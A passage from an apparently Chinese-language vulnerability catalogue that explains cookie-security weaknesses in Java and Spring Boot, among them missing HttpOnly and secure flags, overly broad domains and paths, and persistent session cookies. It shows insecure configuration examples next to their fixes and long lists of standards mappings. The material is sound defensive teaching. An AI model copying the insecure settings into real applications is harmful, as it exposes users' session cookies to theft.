示例 2:以下示例中的代码创建的 cookie 与示例 1 中的代码所创建的相同,但这次将 HttpOnly 参数设置为 true。
1 | javax.servlet.http.Cookie cookie = new javax.servlet.http.Cookie("emailCookie", email); |
不要被 HttpOnly 欺骗进入虚假安全。由于已开发出了多种绕过它的机制,因此它并非完全有效。
REFERENCES
[1] Amit Klein Round-up: Ways to bypass HttpOnly (and HTTP Basic auth)
[2] Standards Mapping - FIPS200 CM
[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1), SC-23 Session Authenticity (P1)
[4] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M4 Unintended Data Leakage
[5] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[6] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[7] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.3
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.7
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.10
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.10
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.10
[13] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002210 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002210 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002210 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[16] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[17] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authentication (WASC-01)
Cookie Security: Overly Broad Domain
ABSTRACT
域范围过大的 cookie 为攻击者利用其他应用程序攻击某个应用程序创造了条件。
EXPLANATION
开发人员通常将 cookie 设置为在类似“.example.com”的基本域中处于活动状态。这会使 cookie 暴露在基本域和任何子域中的所有 Web 应用程序下。由于 cookie 通常包含敏感信息(如会话标识符),因此,在应用程序之间共享 cookie 可能在一个应用程序中导致漏洞,从而危及其他应用程序安全。
例 1: 假设您有一个安全应用程序并将其部署在 http://secure.example.com/ 上,当用户登录时,该应用程序将使用域“.example.com”设置会话 ID cookie。
例如:
1 | Cookie cookie = new Cookie("sessionID", sessionID); |
假设您在 http://insecure.example.com/ 上有另一个不太安全的应用程序,它包含 cross-site scripting 漏洞。任何浏览到 http://insecure.example.com 的 http://secure.example.com 认证用户面临着暴露来自 http://secure.example.com 的会话 cookie 的风险。
除了读取 cookie 外,攻击者还可能使用 insecure.example.com 进行 cookie poisoning 攻击,创建自己范围过大的 cookie,并覆盖来自 secure.example.com 的 cookie。
RECOMMENDATIONS
将 cookie 域设置为具有尽可能高的限制性。
例 2:以下代码显示如何针对“说明”部分中的示例将 cookie 域设置为“secure.example.com”。
1 | Cookie cookie = new Cookie("sessionID", sessionID); |
REFERENCES
[1] Class Cookie Sun Microsystems
[2] Standards Mapping - FIPS200 CM
[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-4 Information Flow Enforcement (P1)
[4] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M4 Unintended Data Leakage
[5] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[6] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[7] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[8] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.3
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.7
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.10
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.10
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.10
[14] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[17] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[18] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
Cookie Security: HTTPOnly not Set on Session Cookie
ABSTRACT
程序创建了 Cookie,但未能将 HttpOnly 标记设置为 true。
EXPLANATION
所有主要浏览器均支持 HttpOnly Cookie 属性,可阻止客户端脚本访问 Cookie。Cross-Site Scripting 攻击通常会访问 Cookie,以试图窃取会话标识符或身份验证标记。如果未启用 HttpOnly,攻击者就能更容易地访问用户 Cookie。
示例 1:以下代码会在未将 HttpOnly 参数设置为 true 的情况下创建会话 Cookie。
server.servlet.session.cookie.http-only=false
RECOMMENDATIONS
在创建会话 Cookie 时启用 HttpOnly 属性。
若使用 Spring Boot,您可在配置文件中设置 server.servlet.session.cookie.http-only 属性,以此来确保 HttpOnly标记已完成设置。
示例 2:以下代码创建的 Cookie 与Example 1 中的代码相同,但这次会将 server.servlet.session.cookie.http-only属性设置为 true。
server.servlet.session.cookie.http-only=true
已开发出了多种绕过将 HttpOnly 设置为 true 的机制,因此它并非完全有效。
REFERENCES
[1] Standards Mapping - Common Weakness Enumeration CWE ID 1004
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [15] CWE ID 732
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001184, CCI-002418, CCI-002420, CCI-002421, CCI-002422
[4] Standards Mapping - FIPS200 CM
[5] Standards Mapping - General Data Protection Regulation Access Violation
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1), SC-23 Session Authenticity (P1)
[7] Standards Mapping - OWASP Application Security Verification Standard 4.0 3.2.3 Session Binding Requirements, 3.4.2 Cookie-based Session Management, 4.1.3 General Access Control Design, 4.2.1 Operation Level Access Control, 4.3.3 Other Access Control Considerations, 13.1.4 Generic Web Service Security Verification Requirements
[8] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M4 Unintended Data Leakage
[9] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[10] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[11] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[12] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.3
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.7
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.10
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.10
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.10
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.10
[19] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[20] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002210 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002210 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002210 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002210 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002210 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002210 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002210 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002210 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002210 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002210 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[30] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[31] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authentication (WASC-01)
Cookie Security: Overly Broad Path
ABSTRACT
可通过相同域中的其他应用程序访问路径范围过大的 cookie。
EXPLANATION
开发人员通常将 cookie 设置为可从根上下文路径(“/”)访问它。这样做会使 cookie 暴露在域中的所有 Web 应用程序下。由于 cookie 通常包含敏感信息(如会话标识符),因此,在应用程序之间共享 cookie 可能在一个应用程序中导致漏洞,从而危及其他应用程序安全。
例 1: 假设您有一个论坛应用程序并将其部署在 http://communitypages.example.com/MyForum 上,当用户登录该论坛时,该应用程序将使用路径“/”设置会话 ID cookie。
例如:
1 | Cookie cookie = new Cookie("sessionID", sessionID); |
假设攻击者在 http://communitypages.example.com/EvilSite 上创建了另一个应用程序,并在论坛上发布了该站点的链接。当论坛用户点击该链接时,他的浏览器会将 /MyForum 设置的 cookie 发送到在 /EvilSite 上运行的应用程序。攻击者就这样窃取了会话 ID,就能够危及浏览到 /EvilSite 的任何论坛用户的帐户安全。
除了读取 cookie 外,攻击者还可能使用 /EvilSite 进行 cookie poisoning 攻击,创建自己范围过大的 cookie,并覆盖来自 /MyForum 的 cookie。
##### RECOMMENDATIONS
确保将 cookie 路径设置为具有尽可能高的限制性。
例 2:以下代码显示如何针对“说明”部分中的示例将 cookie 路径设置为“/MyForum”。
1 | Cookie cookie = new Cookie("sessionID", sessionID); |
REFERENCES
[1] Standards Mapping - FIPS200 CM
[2] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-4 Information Flow Enforcement (P1)
[3] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M4 Unintended Data Leakage
[4] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[5] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[6] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[7] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.3
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.7
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.10
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.10
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.10
[13] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[16] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[17] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
Cookie Security: Persistent Cookie
ABSTRACT
将敏感数据存储在永久性的 cookie 中可能导致违反保密性或危及帐户安全。
EXPLANATION
大多数 Web 编程环境默认设置为创建非永久性的 cookie。这些 cookie 仅驻留在浏览器内存中(不写入磁盘),并在浏览器关闭时丢失。程序员可以指定在浏览器会话中保留这些 cookie,直到将来某个日期为止。这样的 cookie 将被写入磁盘,在浏览器会话结束以及计算机重启后仍然存在。
如果私人信息存储在永久性 cookie 中,那么攻击者就有足够的时间窃取这些数据 — 尤其是因为通常将永久性 cookie 设置为在不久的将来到期。永久性 cookie 通常用于在用户与某个站点交互时对其进行标识。根据此跟踪数据的用途,有可能利用永久性 cookie 违反用户隐私。
示例:以下代码将 cookie 设置为在 10 年后过期。
1 | Cookie cookie = new Cookie("emailCookie", email); |
RECOMMENDATIONS
不要将敏感数据存储在永久性 cookie 中。应确保在合理的时间内清除与在服务器端存储的永久性 cookie 关联的所有数据。
REFERENCES
[1] Class Cookie Sun Microsystems
[2] Standards Mapping - Common Weakness Enumeration CWE ID 539
[3] Standards Mapping - FIPS200 MP
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-23 Session Authenticity (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M9 Improper Session Handling
[6] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[7] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[8] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[9] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.3, Requirement 6.5.8
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.7, Requirement 6.5.8
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.3
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.3, Requirement 6.5.10
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.3, Requirement 6.5.10
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.3, Requirement 6.5.10
[16] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000060 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002240 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000060 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002240 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000060 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002240 CAT I
[26] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[27] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
Cookie Security: Persistent Session Cookie
ABSTRACT
永久性会话 Cookie 可导致危及帐户安全。
EXPLANATION
永久性会话 Cookie 在用户关闭了浏览器后仍然保持有效,并通常用作“记住我的信息”功能的一部分。因此,即使在用户关闭了浏览器后,永久性会话 Cookie 也会使他们保持应用程序认证状态 - 假设他们未明确注销。这就意味着如果第二个用户打开浏览器,他将以上个用户的身份自动登录。除非在受控环境中部署了应用程序,而在该环境中,不允许用户从共享计算机登录,否则即使用户关闭了浏览器,攻击者也可能危及用户帐户的安全。
示例:以下代码将会话 Cookie 设置为永久性会话。
1 | server.servlet.session.cookie.persistent=true |
RECOMMENDATIONS
不要使用永久性会话 Cookie。在 Spring Boot 配置文件中设置 server.servlet.session.cookie.persistent=false 便可完成此配置。
REFERENCES
[1] Standards Mapping - Common Weakness Enumeration CWE ID 539
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [4] CWE ID 200
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001185, CCI-001941, CCI-001942, CCI-002361
[4] Standards Mapping - FIPS200 MP
[5] Standards Mapping - General Data Protection Regulation Access Violation
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-23 Session Authenticity (P1)
[7] Standards Mapping - OWASP Application Security Verification Standard 4.0 3.2.3 Session Binding Requirements, 8.3.4 Sensitive Private Data
[8] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M9 Improper Session Handling
[9] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[10] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[11] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[12] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[13] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.3, Requirement 6.5.8
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.7, Requirement 6.5.8
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.3
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.3, Requirement 6.5.10
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.3, Requirement 6.5.10
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.3, Requirement 6.5.10
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.3, Requirement 6.5.10
[21] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[22] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000060 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002240 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000060 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002240 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000060 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002240 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000060 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002240 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000060 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002240 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000060 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002240 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000060 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002240 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000060 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002240 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000060 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002240 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000060 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002240 CAT I
[39] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[40] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authentication (WASC-01)
Cookie Security: Overly Broad Session Cookie Domain
ABSTRACT
通过共享相同的基本域的应用程序可访问域范围过大的会话 Cookie。
EXPLANATION
开发人员通常将会话 Cookie 设置为诸如 “.example.com” 的基本域。然而,这样会使会话 Cookie 暴露在基本域名和任何子域中的所有 Web 应用程序下。泄露会话 Cookie 会危及帐户安全。
示例 1:假设您有一个安全应用程序并将其部署在 http://secure.example.com/ 上,当用户登录时,该应用程序将使用域 “.example.com” 设置会话 cookie。
应用程序的配置文件中的条目如下:
1 | server.servlet.session.cookie.domain=.example.com |
假设您在 http://insecure.example.com/ 上部署了另一个不太安全的应用程序,并且其存在 Cross-Site Scripting 漏洞。任何浏览到 http://insecure.example.com 的 http://secure.example.com 认证用户都面临着暴露来自 http://secure.example.com 的会话 Cookie 的风险。RECOMMENDATIONS
确保将 Cookie 域设置为具有尽可能高的限制性。
示例 2:application.properties 中的以下配置选项显示如何针对Example 1 示例将会话 Cookie 域设置为 “secure.example.com”。
1 | server.servlet.session.cookie.domain=secure.example.com |
REFERENCES
[1] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001368, CCI-001414
[2] Standards Mapping - FIPS200 CM
[3] Standards Mapping - General Data Protection Regulation Access Violation
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-4 Information Flow Enforcement (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M4 Unintended Data Leakage
[6] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[7] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[8] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[9] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[10] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.3
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.7
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.10
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.10
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.10
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.10
[17] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[18] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[28] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[29] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
Cookie Security: Overly Broad Session Cookie Path
ABSTRACT
可能通过共享相同域的应用程序危及路径范围过大的 cookie 的安全。
EXPLANATION
开发人员通常将会话 Cookie 设置为根上下文路径 (“/“)。这样会使 Cookie 暴露在域名相同的所有 Web 应用程序下。泄露会话 Cookie 会危及帐户安全,因为攻击者可能利用域中任何应用程序的漏洞来窃取会话 Cookie。
示例 1:假设您有一个论坛应用程序并将其部署在 http://communitypages.example.com/MyForum 上,当用户登录该论坛时,该应用程序将使用路径 “/“ 设置会话 cookie。例如:
server.servlet.session.cookie.path=/
假设攻击者在 http://communitypages.example.com/EvilSite 上创建了另一个应用程序,并在论坛上发布了该站点的链接。当论坛用户点击该链接时,浏览器会将 /MyForum 设置的会话 Cookie 发送到在 /EvilSite 上运行的应用程序。通过使用用户在 /MyForum 上提供的会话 Cookie 后,攻击者就会危及浏览 /EvilSite 的任何论坛用户的帐户安全。
RECOMMENDATIONS
将会话 Cookie 路径设置为具有尽可能高的限制性。
示例 2:以下代码会显示如何针对Example 1 将会话 Cookie 路径设置为 “/MyForum”。
server.servlet.session.cookie.path=/MyForum
REFERENCES
[1] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001368, CCI-001414
[2] Standards Mapping - FIPS200 CM
[3] Standards Mapping - General Data Protection Regulation Access Violation
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-4 Information Flow Enforcement (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M4 Unintended Data Leakage
[6] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[7] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[8] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[9] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[10] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.3
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.7
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.10
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.10
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.10
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.10
[17] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[18] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[28] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[29] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
Cookie Security: Session Cookie not Sent Over SSL
ABSTRACT
应用程序可能会通过未加密渠道发送会话 Cookie。
EXPLANATION
现今的 Web 浏览器支持每个 Cookie 都具有 secure 标记。如果设置了该标记,那么浏览器只会通过 HTTPS 发送 Cookie。通过未加密的通道发送 Cookie 将使其受到 Network Sniffing 攻击,因此该 secure 标记有助于保护 Cookie 值的机密性。如果 Cookie 包含私人数据或带有会话标识符,那么该标记尤其重要。
示例:以下配置条目关闭了会话 Cookie 的 secure 位。
1 | server.servlet.session.cookie.secure=false |
